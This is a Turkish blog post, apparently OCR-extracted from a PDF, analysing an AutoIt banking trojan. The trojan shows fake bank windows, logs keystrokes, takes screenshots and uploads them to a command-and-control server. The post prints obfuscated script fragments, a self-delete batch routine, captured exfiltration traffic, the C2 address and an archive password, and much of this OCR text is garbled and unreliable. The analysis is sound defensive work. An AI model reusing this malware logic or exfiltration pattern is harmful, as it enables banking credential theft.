Autolt Bankacilik Zararli
Yazilimi

written by Mert SARICA | 1 July 2016

2015 yailindan bu yana Tirkiye’'de cok sayida bankanin misterilerinin hedef
alindigi bir zararli yazilim salgini oldugu bilinmekteydi. Kullanmis oldugu
Windows isletim sistemi lzerinde bu yaziya konu olan bankacilik zararli
yazilimi calisan banka musterileri, ilgili bankalarin internet subelerine
girisi esnasinda, mobil sube uygulamasi ylkletme vaadiyle cep telefonu
numarasi isteyen bir pencere ile karsilasiyorlardi. Pencerede yer alan
gorsellerin tasariminin bankanin tasarimiyla uyum ic¢inde olmasi ise
misterileri cep telefonu numarasi girmeye ikna eden 6nemli etkenlerden

biriydi.



https://www.mertsarica.com/autoit-bankacilik-zararli-yazilimi/
https://www.mertsarica.com/autoit-bankacilik-zararli-yazilimi/
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Bu pencereye girilen cep telefonu numarasindan sonra musterinin cep
telefonuna baglanti adresi (link) iceren
(http://banka.mobilsubeindir.com/kur) bir SMS gdnderilmekteydi. Bu baglanti
adresini ziyaret eden ve Android isletim sistemi yuklu akilli cihaz kullanan
misterinin karsisina, SMS calabilme yetenegine de sahip olan Android zararli
yaziliminin kurulmasina yonelik yonergeler ¢iktigi daha Once gerceklestirilen
analizlerden bilinmekteydi. (Bu Android zararli yazilimi ile ilgili detayli
bilgi almak ic¢in Bakir EMRE‘nin analiz yazisini inceleyebilirsiniz.) Ben de
bu yazimda, Windows isletim sistemi lUzerinde calisan ve yukarida bahsi gecen
Android zararli yaziliminin ilk halkasi olan Windows zararli yazilimini

kisaca inceledim.


https://twitter.com/bemre
https://github.com/bemre/mobil_sube.apk
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Ipuclari: Birden ¢ok numara noktali virgdl ile ayrilir (;).

Gelen kutusu
icerik:
Ciden kutusu Sn. Musterimiz, MobilSube Ayarlarinizi Tamamlamak icin Tiklayin.
http: /- .mobilesubeindir.com/Kur
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Mobil Giris Sifreniz

Windows isletim sistemi lzerinde calisan bu zararli yazilimin kullanicilarin
sistemlerine tam olarak hangi kaynaktan, nasil bulastigini tam olarak
bilinmemekle birlikte, zararli eklentiye sahip veya zararli JAR dosyasi
baglanti adresi iceren sahte siparis e-postasi kaynakli oldugunu, bulasmis
oldugu sistemlerde Java ile gelistirilmis baska bir zararli yazilim olmasi
nedeniyle tahmin etmekteyim.
(https://www.virustotal.com/en/file/0ba783b9cflcee314c06T29b9ff629948a296257f
1b1al9b09ba2a2369da3dbe/analysis/)

Cep telefonu numarasinin girilmesini isteyen pencereye kullanici tarafindan
cep telefonu numarasi girildiginde, ilgili pencerede cep telefonu numarasina


https://www.virustotal.com/en/file/0ba783b9cf1cee314c06f29b9ff629948a296257f1b1a19b09ba2a2369da3d0e/analysis/
https://www.virustotal.com/en/file/0ba783b9cf1cee314c06f29b9ff629948a296257f1b1a19b09ba2a2369da3d0e/analysis/

SMS gonderildigi belirtilmekteydi. Android akilli cihaza kurulan bu uygulama
(zararli yazilim) calistirildiginda da, ekranda yer alan 6 haneli sayinin bu
pencereye girilmesi istenmekteydi. Bu sayi girildikten sonra mobil zararli
yazilim ile pencere cikaran zararli yazilimin eslestigi arka planda komuta
kontrol merkezine (http://149.202.206.57) bildirilerek, Windows isletim
sistemi Uzerinde c¢alisan zararli yazilimin artik internet subeye giriste
kullaniciya pencere c¢ikartmayacak sekilde komuta kontrol merkezinden komut
aldigi (off) goriliyordu.
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Host LRL ~ ||| 2f composer | iG Fiddlerseript | 5] Log | [ Fiters | = Timeline
@) Statistics A Inspectors £ AutoResponder

Headers | Textview | SyntaxView WebForms HexView

Auth | Cookies | Raw | JSON | XML

GET /main php HTTP/1.1
Accept: imagefipeg, application/x-ms-application, image /gif, applicat A
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6. 1; Tric

Miscellaneous
Referer: http:/[149.202. 206. 57/main.php?uid=645448C4702F 703D

Transport

149,202.206.57 jmain.php?uid =645448C4702F 703D 1F 468FABE 2BCAFCBAwveb_id=8Kod =09 Connection: Keep-Alive

149,202.206.57 [dataal,php2uid=645448C4702F 703D IF 46BF ABE 2BCAFCBATELEFON=(530) 4 &F Host: 149.202.206.57

149.202.206.57 [dataal.php?uid=645448C4702F7030 1IF46BFABE2BCAFCE 8kod=2455138_=1464617632: v

149.202.206.57 jmain.php < >

Transformer | Headers | TextView | SyntaxView | ImageView

HexView | WebView | Auth Caching | Cookies Raw

JSON XML

HTTP/1.0 200 OK A
Server: nginx

Date: Mon, 30 May 2016 14:15:21 GMT

Content-Type: text/html; charset=UTF-8

\vary: Accept-Encoding

X-Powered-By: PHP/S.6.12

- e I Connection: close

Content-Length: 83

<html>

<head>

<titlexoff</titlex

v || |</head>

4h9d¥> W

—I |Flnd... (press Ctrl+Enter to highlight all) || View in Notepad

1/68  http://149.202.206.57/main.php

Pencere ¢ikaran zararli yazilim sisteme bulastiktan sonra isletim sistemi
yeniden baslatildiginda C:\Users\kullanici adi\AppData\Roaming\Apple Updater\
klasori altinda lsasss.exe adi altinda, ayni klasdérde bulunan safe dosyasini

yukleyerek calismaktaydi.

lsass.exe

MD5: 6A93A4071CC7C22628AF40A4D872F49B

SHA-1: BA916E686AAOCAE19AB907BDAB94924ADA92B5F4

SHA-256: 8465F3FCBCCCE3EA12495EDBBOBD0O9C3BO66E3DF891613CE3180F9BB38B37B01



safe

MD5: A77D3D806ODCOO96AF6F2F24AFD57EF7

SHA-1:

B22068203898FB5643E5060AC72A29FD3D35DECE

SHA-256: 02E8EACE1A4FB827BB78BA1F5A40D9E54E98AED7E555093B37C0243AF6B0O5D99

E3 Sistem Yapilandirmas

eS|

| Genel | Onyilkleme | Hizmetler | Baslatma |nrat_:lar|
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"C:\Program Files\ESET\ESET NOD32 Antivirus'egui.exe” fhide fwaitservice

"C:\Program Files (x86)\Google'Drive\googledrivesync.exe” jautostart

C:\Users’ WappData'Local\Microsoft\BingSvc\BingSve. exe

t:‘ltUsers".f: 3:,ﬁppDa1.a‘|Hnaming Wpple_Updater|sasss.exe” "C:\Users) \appData'\Roaming A
'C:\Prugra Files (waa)\Intel\Intel(R) Management Engine Components\IMSS\PIconStartup.exe™
"C:'\Program Files (x86)\Intel\Intel(R) USE 3.0 eXtensible Host Cantroller Driver\Applicationjusb 3mon. exe
"C:YProgram Files (x86)WMicrosoft Office\Office 12\GrooveMonitor. exe™
C:\Windowssystem32\DNHIp32. exe

"C:\Program Files (x86)\Javaljre7\binYjavaw.exe” ar "C:\Jsersy ‘appData'RoamingMNgae\Olab. jz
"C:VProgram Files (x86)\Common Files\Java'Java Updatejusched exe”
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Kisa bir arastirmadan sonra, lsasss.exe programinin AutoIt v3.3.12

programinin (https://www.autoitscript.com/site/autoit/) adinin degistirilmis

hali (rename) oldugu, safe dosyasinin ise AutoIt betigi (script) oldugunu

tespit ettim.


https://www.autoitscript.com/site/autoit/
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.qstatus script safe.au3> line(l)

:

[ 2362 instances of 'strings’ found in C:\Documents and Settings\Administrator\Applcation Data\Apple_Updaterjsasss.exe

Watch | Commands Info

Settings Help i

Var &

Addr... [5) Length Length [&]
O00BFADS 17 11
OO0BFAES 73 43
OO0BFB3A 31 1F
O00BFBSC 33 21
000EFBSE 23 17
OOOBFBAO 23 17
OOOBFBEE 25 19
O00BFBOS 23 17
OO0BFBFE 29 1D
O00BFC1E 81 51
OO0BFCEE 33 21
COQBFCS0O 23 17
COOBFCAE 23 17
OO0BFCCE 33 21
OQOBFCF2 29 1D
CO0BFDI10 23 17
O00EFDZE 23 17
O0OBFD4E 23 17
000C02CC 57 39
OOOCOBBE 167 A7
OOOCOECO 59 3B
OOOCOEFC 105 69
000C1114 29 1D
000C1132 87 57
000C118C 2295 0BF7
000C1D42 29 D
O0OC1ESE 139 BB
000CIFS1 7 07
OOOCIFAA 7 07
O0DCIFCY & 05
O00CIFF? 5 05
000C20E0 9 09
O0DCZ5D5 & 06
000C25E4 8 08
000C28B2 5 05
00DCZ8BS & 06
000C44ES 6 05
000C45D5 6 08
000C4E44 S 0s
000D4EBL 5 05
00009306 33 prat
O00DS3EE 25 19
00009424 13 oD
00009494 13 oD
000DS4AE 17 11
00009404 29 1D
£
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§__ g_acryptinternaldatah
Comments $_ g_hheapi -
http: /A autoitscript.com fautolt3/ h S_g_%heapsiz:n
FilkDescription $_ g_irgbmoded
Autolt v3 Script $_g_venu::\.&
FileVersion \ :_gTvext:A

winverd

lar':t:’n]j\‘lgmeh $hackup_a1ternate_dataﬁ
Autolt3 exe Sbackup_datad
LegalCopyright $backup_ea_datad
199%-2014 Jonathan Bennett & Autolt Team $hackup_link& . |
OrigingFlename $backup_ocbject idA 3
Autolt3.exe < |
Productiame g
Autoltv3 Script
Froductyersion
3,3,12,0
VarFlelnfo
Translation
Error parsing functon cal,
Can not redeclare a constant. 5Can not redeclare a parameter inside a user function.
Badly formated Enum statement

IThis keyword cannot be used after a "Then" keyword.
Urknown macro.

*Jnable to get a kst of running processes,

Invalid element in a DISTuct. *Unknown option or bad parameter specified &Unabile to load the internet libraries. /*Struct” stat
Assert Faled!

Fune reassign not alowed *Func reassign on global level not alowed.
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Autolt Input Box:

MS Shel Dig

Prompt

Cancel

Contextl

Scriot 8Paused

By compare | M Checksum BB Fnd | #Bockmarks | (B output

Cursor: 00000018 Caret: 00000208 934400 bytes

OVR.! MOD | RE

AutoIt betigini OllyDbg gibi bir hata ayiklama programi ile analiz etmek igin

https://www.autoitscript.com/wiki/FAQ#How can I debug my script.3F sayfasinda

yer alan aracglari kullanabilirsiniz.

safe dosyasini incelendigimde bu dosyada yer alan degisken isimlerinin

karmasiklastirilmis oldugu, sifrelenmis verilerin yer aldigi (#comments-start

#comments-end), sifreleme amaciyla kullanilan fonksiyonlar oldugunu goérdim.


https://www.autoitscript.com/wiki/FAQ#How_can_I_debug_my_script.3F

FREATIIIESZO00
§med7399:52 500

BinaryTodtring (dy6B609b50361 [ "0 xIAFBZAZAAZSODE] SSES SCPEBDPACHBOE",
. $%q967T40p66L

F1Z03B39Z E0AS0Z155876"

T6"))

Else
Logal §lméi67T0m7E656 = Processlist(§vil4197h58560)
Local §wsS8311i18135520109vE15TwEB182us5460
Local Shv6T75e36507[§1m6L670m7665610] (0] + 1]
$hv6775£36527[0] = $lmel6TOWT665610] [0]

i18135520109v515TwiB182u554 60

$med7399:52900 &= Bina, g idy J61 ( "0xEEETL T03P54CESSA450A", "1201B392604502155076"))
SmE4739952900 £ B " 11D63%, "1Z0IB39ZE04502155876"
¢meq7399:52000 oo §zpdS214i1773
$med7399e52500 o= Bi "0 %5 ABASABAZESSEAFERIIDET ", "1203B392604502155876"
$mE47399052500 6= Binacy ing " i 554
Smed? B ing (dy "0:iBBS 9303 1791 7207, "120383926045021550746%)
Run (@ComBpec & ® fo * © fmrd7399r82900, (WindowsDir, #8W_HIDE

- EndPunc

Funo xgB2511d6812 (§vi14197b5A560
If IaBtring($vi34157b58568) © 0 Then
BleeIf ProcessBuises (5viI4157b5E563) = 0 Them

111181

| For §ussd = 1 To $ImELETONTEE5E[0
$hveTTSTIEH1T [ FwaS83L11181335 201053 LI TWEB10ZuIS460] = $lmEL6TOMTE656 [Swads
Hext
Retuen Shv6T75636517
F Endr
L Endeunc
B Func I61(5ma61B2TAIH055, Iz0
$ma§1822434059 = BinacyToBtring (FmaéiB22414059
§d 2064525078 ypt_decryprdata(§mag1822d34059, Gvnf85w50320, Soalg_aes_256)

75  Binary ng 191
ConssleMeite (§de20645x5079 & GCALF)
Return §de20645x5073

L EndFunc

[ #commanta-ataze

320109v51S

2 ICEIFOFI45ITERLFL FIDEIFLGAEFSOFAIDTF SIFBPCED I

Foomment s=an

#oomment s=end

[ #eommenta-staze
0, TH000000 J
#comment s-end

GDTIITA6E LD IIDBFCE L 1T ITRRBOZ B FECOSTRIFAD LTI HEACCSIEDADFEAEHN TIDFIHE IECHI0IRLAPA.

7IZ0AFBE

8 IDEEATPRLLCTTITSAE TSSHE JO0FZ6 7430

3EB7LLOEE DS

FEB2 4185249301 1 DASEBDEFDID ITHCE 454002 19TAC L T2CH 56 DADATERE ACE T 35

7000001 I TS50 T45IGFEET4TTELTI6S00 41 L6 79

THSFADIC 7560 ICIFTETOCLEICOESTIZ0E

lsasss.exe programi calistirildiktan sonra safe dosyasi ic¢inde yer alan

sifrelenmis verileri (1 adet EXE uzantili dosya

(command line winrar

programi) ve 1 adet sifrelenmis (sifre: 6pRxSLyV4) RAR uzantili dosya)

C:\Users\kullanici adi\AppData\Local\Temp\ klasori altinda rastgele

olusturdugu sayilardan olusan isme sahip bir klasdre acmakta ve bu klasoru

gizlemekteydi. (hidden)

S Pune giBTA0ZTIISE

QXTIIBANTINITL) ¢ MOEY_ CURRENT USEALESftvAre\Nigrasoft Findova \CurrentVesalon | Bus ~> Apple Updater
PATII0ZmAA 98 DeZuments and Sattimps\ddministrator\dpplicstion Da
prem amd Fueeings\ddministeatos \dpplisation Data\dppie Updetarll
a7 955mI2 633
ErdPun:

G402, §ab8GHTARNLLD, . SRASIIE0QESH
33335555999, 1
33595959999, 1
93999999993, 1

Rardom 206000
Racedcm 206500
Rardem (20000,

apple_Updeter hlasozunden mi celistirilds hemtrolo.
hemtrols

- 162

7 STamph A1eBOrUNGS memeril isimls AZesSr SLUBTUTUPST.
4 - 20!

130;

FuniT44B744D

3307, "LI0093PRE04SIZLINTE"
=, 1208

) Olugturulen kiassru SOEUnees FARAYOr,

= 12038 ‘=

Olekal Faut ORI EAZOZRL 3
Glokal §eel 345236006344 ¢ dySBS0IRSOIEL! TUnAS0SIEFIEIBCAGSCEIDIITIIBIATBIFE". "LI0INISIE04HTLIIRTE"
Fer5L087e2 BinaryTotring wed¥HOLELY

BeuSHTZ0:14869, FarS108Te2E406,

4 Veamph A
DxBATITEE

Bosps dgerifing comsant,

79, FarSl0NTEREADED

¢ teempl klasssiinde mmerik dai

i axe alugturuper. drarifini commesta-staretan

syar. (command Dine winzar passlims)

38720426869

ApéninsesnIEL

Ay6HE0II0IEL | "0 xEATETOZ0TIE SOIOIFLEA I ATDEL

41019852020 0vELE Sl 102344 60 24 TOMRIINET, 4550126
0é Lintrovecay | fppBlednnilis

1
1 7o $ETTI0

32 60

Por Fupt81 141017542000 Pvs 15 TN 1020354

Et BuringIndve!ibadTI08IT60060 sl

21 SueingInsrc SbedTI0FIZE00E0E,
SwaSHILILIBLISIE

18135520108
3114101334208

FauSET20S16969
FanTO8sEE18TS

Enaze

SgPEIFISEO0 4 = FBIATION2E006 FunsBI11i1013552

1134 ¢ OpEERFBIUISL | THIATITOIOTFE IO TINTS

alesp 500
Filewlenal fyeBlidimiild
 Endrunc

A8 405RI0I6L | ~0BATE020T P2

Funo eh102845TIRNE
Boval 4
Fav2eess _aay = 0
For Susta3LILIELISIZ0N00NS

EE Duringdneipes Filehas
SAVI4EINRTLIBE puy
e

S Pune eeFFIADAMITE
Local FVIEMIRZLABE_say. FURSPRIGeESIA, FymTOMFEIT,
v 4B6_say = 0
SunSBT626834 = 0
PymI049256780_poa

CRAE Sifresi: ERERESEYR

'+ =12038;

FYIERIATAEINGE OHDC: 3697, "12038

# 8l
ALl
el

feoasazasznnen

in anTES5mAEEITITRTY
| setrings melp

commands | mnto

tba4720932 6006k

FeuSETZ0R1 40655,

~12028352 624

EabbgaranniLezh
¥

FUTERNLTGI IR0 6L
FuaSBILLLLBA3120109vS 15 TAREEZUS S4 60K
FusSE0L1410075320109v5 15 TG LT US SHS0RAT0 HA
v »

3114181153 2010 908187010




[ Fune gi8T402uT9156
qx73384h35527
pd77702m44589
teIIILIxE9TES
am2 T 955mI2633

EndFunc

[ Func am27955m92633
Sab86474R81162

$wx3T445a87440
GgdS2360g6544

7 HEEY CURRENT USER\Software\Microsoft\Windows'\CurrentVersion\Run —> Apple Updater
; Seript C:\Documents and Settings\ddministrator\dpplication Data\dpple Updater Alasssrunden mi galigtaralds Kenceolu,
7 C:\Documents and Settings\Administrstor\dpplication Data\Apple Updster\lsssss.exe var my konmtrolt:

Random (10000, 99983000893, 1
Random (10000, 99953999599, 1
Randes (10000, $9995339553, 1

Local §et51087t26406, $etS10BTL264062, $sbB64TAkE1162, $wxITi45a87440, $9d52360q6544

[ Pune chl$284071855

L EndFunc

El Func we9934015402%

EndFunc

Local $gs81838m1134
5ge81838ml134 = OTemphir & dy6B609BS036L (“0xBATDTOZ0TFEZIBOIDFFZBAIBIACEBELCCE", "12038392604502155876"
pirCreste ($gs81838mlld4) ; #Temp¥ klasorunde mumerik isimli klaser olugturuyor
Piledetatteib($gs61l030m1134, dy68609bS0I61("0x5P648179B720360B1130EDEDCSI3ISIC, "12036392604502155676"
Global 5ew58720c3686% = Swx3T445a07440 & dy68609b50361 ("0x245A202F1F105D04E0LED24T00F4CER ", "12030392604502155876"
Global $se70594bE58T5 = $gd5236046544 ¢ dyEBE09b5S0IEL( "0cAS0EFEPIEIBE40SCEFRSDTSPDPLTBIFE", "120383926045021558746"
$etS1087t26408 BinaryToString (ww$9340i94029
PileWrite ($g=81838m1134 dy68609b50361 ("DxBATDT0Z0TFZIBOSDFFZB43B14CBELICCET, “12038392604502155876")
§$er51087t264062 BinaryToString (tel7798c59691
FileWrite ($gs81838m1134 & dy68609b50361 ("0xBATDTOZ0TFEIB0IDFFZE4IBI4CHELCCE™, "12038392604502155876"
aleep (6000
; Agagadaki satarda yukazadaki satirda Stespd klasserunde olugturulen
Run(§gsB1838m1134 ¢ dyé8609bS036L( "0xBATDTOZ0TF2 SBOSDFFZE4IBLACHE1CE)
2leep (1000
FileDalets ($gs31838m1134
FileDelete (5ga8l838mll3d
aleep (2000
Local §wa58311i10135520109v5157wa0l
Local $bz47309§26
Por $wsS8311i
If StringInstr($bzd73
Tf StringIndtr bz
$w358311418135720109v

$2bB6474kE116Z

; Olugturulan klesdrl gérlmmesz yapiyor.
$ewSBT2003686%, $etS1087TtZ6406) ; Ftempd klasdrunde numerik isimili exe olusturuyor, igeri
$2e70694b65879, $etS10BTLZE4062

ifreli RAR doayas: agiliyor. Doapa iperifdni comments-stare'ten alda. (RAR Sifresi: SpRRSEFvd)
. "1203839260450Z155676%)  $ewSA720:74865 £ dy6940ShS036L("0xEEA47226DCR005CE4501BTPREESHAAR", "12038392604502155876" $

$ewSBT20C36869
§2070654b65879

dy68609b50361 { "0xBATDTOZ0TFZIB0IDFFZR43B14CRE1CCE", "12038392604502155876"
Ay68 60950361 ( “0xBATDTOZ0TFZIB0IDFFZBI3BA4CEELCCE", "12038332604502155876"

5460z47094n53067,

104550136

Qe - © - (¥ DOseach [ Foders [ 5 Folder syme
Adddress I CIDOCUME ~1\ADMINI~ 1YL OCAL S~ 1\Temph 204550136

06 [$ws58311i1813552014
TWBB182uS 54602470 %4n

EndIf
i e 160736700, exe 91088507752
$gpB3TL5b80362 = $hbz47309526006 [$ma5831111813592 File and Folder Tasks D ‘wrmn ¥
EndIf - e : 623K
Next: . Rurent
Run(§gsB1836m1134 & dy68609bS036L( "IxBATDTOZ0TFZSBOSDEFZ G Move this fils
8leep (500

i= 910885077.rar - WinRAR (evaluation copy)

FileDelete (§g=81838ml134 & dyS8609b50361(“0xBATDTOZOTFES]

Fie Commands Took Favortes Optons Hep

DAPLHIWMWRO R +U ¥

Local $dv24654k21486_say

SdvZ4654kZ1485_say = O Add  ExtractTo  Test View  Delete Frd  Wead  Info  VrusScan Comment Frotect  SFX
For $ws58311i18135j20109v5157wi8182uS5460 = 1 o _filecol
If StringStripWd (FileReadLine 4521441773, $wsS63L [E] | B oi0se5077rar - Rar archive, urpacked sae 2,312,968 bytes et
§vZ4654k2L486 oy = FdvE4654k21486 aay + 1 I - 1
EndTt | Manie < Sze Packed Type Modifed CRC32
Next | & F
Return $dv24654k21486_say | 5871155583007 * 1378568  208.000 SA3007Fie 20.04.2016 23:14 B68D1...
Lexe * 93400 429.744 Apphcaton 20042016 23:14 FE3EFA...

Locel §dvZ4654k21486 say, FunSPEI626534, SymT0343

$dvE4654k21486_say = 0

SunS 983626534 = 0

$ymT0349256784_pos = 1

For $wsS8311i18135j20109v5157w@8182u55460 = 1 To _fileco
If StringStripWs (FileReadLine($zp45218i1773, SwsSEI11il

SAVPARRART 1 ARG ans

£AUPARSAVI1ARE mau + 1

=168 INS (CR+LF)

lsasss.exe programi, Winrar programi ile sifrelenmis RAR dosyasini gizlenmis

klasére actiktan sonra, icinden c¢ikan svnhost.exe isimli programi (Autolt

programi) 871155.583007 (Autolt betigi) dosyasi ile calistirmakta ve

871155.583007 dosyasini silerek, sistem lUzerinde svnhost.exe adi altinda

calismaktaydi.

871155.583007 dosyasini incelendigimde ise sistemde ac¢ik olan pencerelerin
baslik (title) bilgilerini izleyerek (Ornek kod: $basliklar[22] ="TurkishBank
Internet Bankacil1gi”), pencerede yer alacak bankanin gorsellerini komuta

kontrol merkezinden alarak 30'a yakin bankanin misterisini ve internet

subesini hedef aldigini go6rdim.
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e —
9 sy Compater
5 soy e
§1 - Mozilla Firefox
F 1341 - opera®
1 = Yondex~
RaptE 31 | fnterakrif Bankacilik® &
ternet Bankaciifi® _ =
1 Bankesi - Kurumssl Internet Jubesi®
. uck fntecret jubesi
044 Bankasy | fnternet gubesi® ~
rioma s e engih : 1376565 Ines: 31857 1n: 30422 Cul i1 541010 Cosfdms _ UTBEOM 1 -
160 [HALF)
£ Host URL A composer | & Fiddersaipt | £ Log | [ Fiters | = Timele |
74| | statistes L& Inspectors # AutoResponder
|H:aders TextView | SyntaxView | WebForms | HexView
Auth Cookies | Raw JSON XML
Request Headers [Raw] [Header Definitions]
GET /pops/19/img /background jng HTTP/1.1
Client ”
Accept: *[*
Accept-Encoding: gzip, deflate
Accept-dLanguage: tr-TR
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6. 1; Tric
Miscellaneous
Referer: http://149. 202, 206. 57/main. php?uid =645448C4702F 7030
Transport
Connection: Keep-Alive
149,202, 206,57 jmain.phpouid =645448C 470 27 7030 IF 46BF ABE 2BCAFCB Sweb_id=8Kod=09 Host: 149.202.206.57 o
49.202.206.57 jpops/isfjquery.js £ >
:gzgiifzzi i uu:r'J.cw;t::'.‘.‘n.mn.]s Trash Headers | Tex T Syriimavh T imageview
149, 202. 206. fpops js/iquery. maskedinput.min.js M N |
149,202.206.57  jpops/js/iCirde-countdown.css Hoolew | Webiew. | Auty acing | Cookles | Raw
149,202, 206,57 mocr fisfiquery.knob.js JSON | L
Cirdlecountdown. js [Fomat JPEG
139.373 bytes
(670w x 395
10.53 bytes./p
HTTF 196 dpi
HTTRS Baselne
HTTP 149.202.206.57 jdataal.php?uid =645448C4702F 7030 1F46BF ABE 2BCAFCBATELEFON =(530) +290-15238F 14:44 fnon-opt)
200 HTTP 206.57 f IAPP1 Data
20 HTTP 149,202.206.57 =645448C4702F 7030 1F46BF ABESBCAFCB Skod =3143448_= 1969613507 ﬂ'ﬁﬁﬁf”’
W0 HTP 149,202.206.57  [dataal, WW=645446C4703=7033L=46FABEMC8W=314344&_= 1464613507; | o /e adob
< > le.comfeap/1.0 ¥

871155.583007 dosyasini incelendigimde ayrica bu zararli yaziliminin izledigi
baslik bilgisini tespit ettigi anda tus bilgisi kaydi yaptigini ve bu

bilgileri cert.dat dosyasina kayit ettigini,

ekran goruntisiu aldigini ve

bunlari da C:\Users\kullanici adi\AppData\Local\Temp\ klasdriu altinda
rastgele olusturdugu sayilardan olusan ada sahip klasodrde sakladigini gordim.
I1gili pencere kapatildigi anda ise ilgili klasérde yer alan ekran

goruntulerini RAR isleminden gecirdikten sonra cert.rar adi altinda cert.dat
(tus bilgileri iceren dosya) dosyasi ile birlikte komuta kontrol merkezine
(http://149.202.206.57) gdndermekteydi.
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~ | %9 | | Search 776459740 o]

4 Favorites
Bl Desktop
| & Downloads

&l Recent Places

Organize » | | Open ~ Share with =

E-mail Burn Mew folder

4 Libraries

bottom_side

cert.dat

left_side right_side

@ Documents —

J’ Music

(=] Pictures

B videos SEEEr L

-

—

] e T e

wallpaper00011
I@ Homegroup

1% Computer
T —

wallpaperd0012

wallpaperl0013

top_side wallpaperl0010

ﬁ cert.dat - Notepad

mlﬁlg

File Edit Format View Help

kbr=<br><b>=08:32:36 -> ¢ Internet Bankaciligi - windows Internet Explorer</b=<br= .
{CLICK}<br>{CLICK}<br><br><pbr><b>08:32:40 -> Fiddler web Debugger</bb—cbr> {CLICK}
<br>=<br><br><b>08:41:36 -> DI Internet Bankaciligi - windows Internet

Explorer</b><br> 342242425345{Tab} 3134234234 {CLICK}<br>

E @ cert - Copy.rar - RAR archive, unpacked size 1.053.282 bytes

Name

X -

& wallpaper00010.jpg
= Wallpaper00011.jpg
= Wallpaper00012.jpg
& Wallpaper00013.jpg
= Wallpaper00014.jpg
== Wallpaper00015.jpg
= Wallpaper00016.jpg

& Wallpaper00017.jpg

b

Size

106.802
136.953
138.322
136.456
124.163
146.919
125.371
138.296

Packed Type
File folder

73.109 JPEG image
89.021 JPEG image
93.712 JPEG image
94.868 JPEG image
84.669 JPEG image
94.909 JPEG image
86.047 JPEG image
92.723 JPEG image



A Wireshark - Follow TCP Stream (tcp.stream eq 63) - mw1 - o IEN

POST /main.php?uid=645448CA702F703D1F46BFABE2BCAFCEBEweb_id=EKod=Baction=uploadiweb_idg=89 HTTP/1.1 -
Connection: Keep-Alive

Content-Type: multipart/form-data; boundary=----WinHttpBoundarylLine_34891.88992

Accept: application/xml,application/xhtmlexml,text/html;q=0.9,text/plain;q=06.8,%*/*;9=0.5

Accept-Charset: utf-8;q=0.7

User-Agent: AutolIt/3.3

Content-Length: 352150

Host: 149.202.206.57

------ WinHttpBoundarylLine_ 34891 .88992
Content-Disposition: form-data; name="file"; filename="cert.rar"
Content-Type: applicationfoctet-stream
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Pocket 12792, 251 chent phifs), 4 server phtfs), 7 furnfs). Oick bo selet,
Entire conversation (356 kE) B Show data as |ASCII - Stream 63 <
i Apolications |

871155.583007 dosyasinda yer alan fonksiyon (Ornek: Func yazkizim($krctr)) ve
degisken (Ornek: $sayac) isimlerinin Tirkce olmasi, bu zararli yazilimin
Tirkce bilen kisilerce gelistirildigi ihtimaline dikkat c¢ekiyordu.

Ayrica yine bu dosya ic¢inde zararli yazilimin calistiktan sonra kendisini
silecek fonksiyonlari barindirmasi ancak kullanmamasi ve $cert avi
degiskenine sahip olmasi, zararli yazilimin ilerleyen siiriimlerinde bu

0zellikleri kullanma ihtimali oldugunu gostermekteydi.



Func _SelfDelete{$iDelay = 0)
Local $sCmdFile
FileDelete(@TempDir & "\scratch.bat™)
$sCmdFile ='ping-n "' & $iDelay & "127.0.0.1 > nul' & @CRLF _
& “loop' & @ CRLF _
&'rd "™ & @ScriptDir & " iqis ' & @CRLF _
& 'if exist ™ & @ScriptDir & ' goto loop' & @ CRLF _
& 'del’ & @TempDir & “scratch.bat'
FileWrite({@ TempDir & "\scratch.bat”, $sCmdFile)
Run{@TempDir & "\scratch.bat”, @TempDir, @ SW_HIDE)
EndFunc

Func _cikis()

Sleep(500)

Run( $anadosya & " " & "safe", @AppDiataDir & "\Apple_Updater\”", @ SW_HIDE )
Sleep(1000)

_SelfDelete(10)

EndFunc

Global §increase_file = @AppDataDir & "\Apple_Updateny” & "safe" ;i Surum Yukseltme Dosyas

Global $version_file = "ver.dat" ; # Yersion Kontrol Dosyasi

Global $cert_file ="cert.dat" ;i cert.dat

Global $cert_rar ="cert.rar" ;i certrar

Global $cert_avi ="cert.avi" s it certavi

Global $wrar_file ="wrar521.exe" sitwrarb21.exe
Global $wfile ="lwrard21.exeis" s wrarb21.exe s

Sonug olarak internet bankaciligi misterilerinin her daim bu ve benzeri
zararli yazilimlara karsi tetikte olmasi ve internet subelere giriste ve/veya
sonrasinda karsilastiklari olasi supheli durumlarda mutlaka ama mutlaka
bankalalarina haber vermeleri gerekmektedir. Zararli yazilim analizi becerine
sahip bankalar (ehem ehem :)) bu ve benzeri zararli yazilimlari analiz ederek
sizlerin daha glvenli bankacilik yapabilmeniz adina imkanlari dahilinde

ellerinden gelenin en iyisini yapacaklardir.

Bu zararli yazilimin sisteminizde calisip, calismadigindan emin olmak igin
calisan programlarda (gorev yOneticisi) lsasss.exe ve/veya svnhost.exe olup

olmadigini kontrol edebilirsiniz.



2.

-E Windows Task Manage
—

File Options View Help

| Applications | Processes ‘Services I Performance | Networking I Users ‘

il IWindowsTas_kM
File Options View Help

‘ Applications | Processes |Servi0es I Performance I Networking I Users |

=
Image Name
SYSTEM a0
IELUser ag
IELUser ag
SYSTEM a0
SYSTEM a0
METWO. .. ao
METWO... a0
TEUser 1]
SYSTEM 00
SYSTEM 00
SYSTEM a0
SYSTEM [ilv}
SYSTEM a0
METWO... a0
LOCAL ... a0
SYSTEM a0
LOCAL ... a0
SYSTEM a0
MNETWO... iy}
LOCAL ... a0
svchost.exe LOCAL... 00

svchost.exe SYSTEM 00
svnhost.exe 98
System STEM 02

SystemIdeP... SYSTEM 00

dsAccessServi,..
dwm.exe
explorer.exe
lsass.exe
lsm.exe
medtc.exe
OSPPSVC.EXE
Pulse.exe
Searchindexe...
SErvices.exe
smss,exXe
spoolsv.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe

User Mame CPU  Memory (...

238K
3.964K
21.228K
2756 K
1.294K
2.084K
4,208 K
1768 K
9.228 K
3.554 K
200 K
4.012K
2.312K
2,400 K
T2 K
2.972K
6.532K
14.896 K
5.708 K
6,616 K
2544 K
17.032K
25.580 K
40K

oK

Description

Juniper Access Service
Desktop Window Manager
Windows Explorer

Local Security Authority Proc...
Local Session Manager Service
Microsoft Distributed Transa. ..
Microsoft Office Software Pr...
Junos Pulse User Interface
Microsoft Windows Search ...
Services and Controller app
Windows Session Manager
Spooler SubSystem App

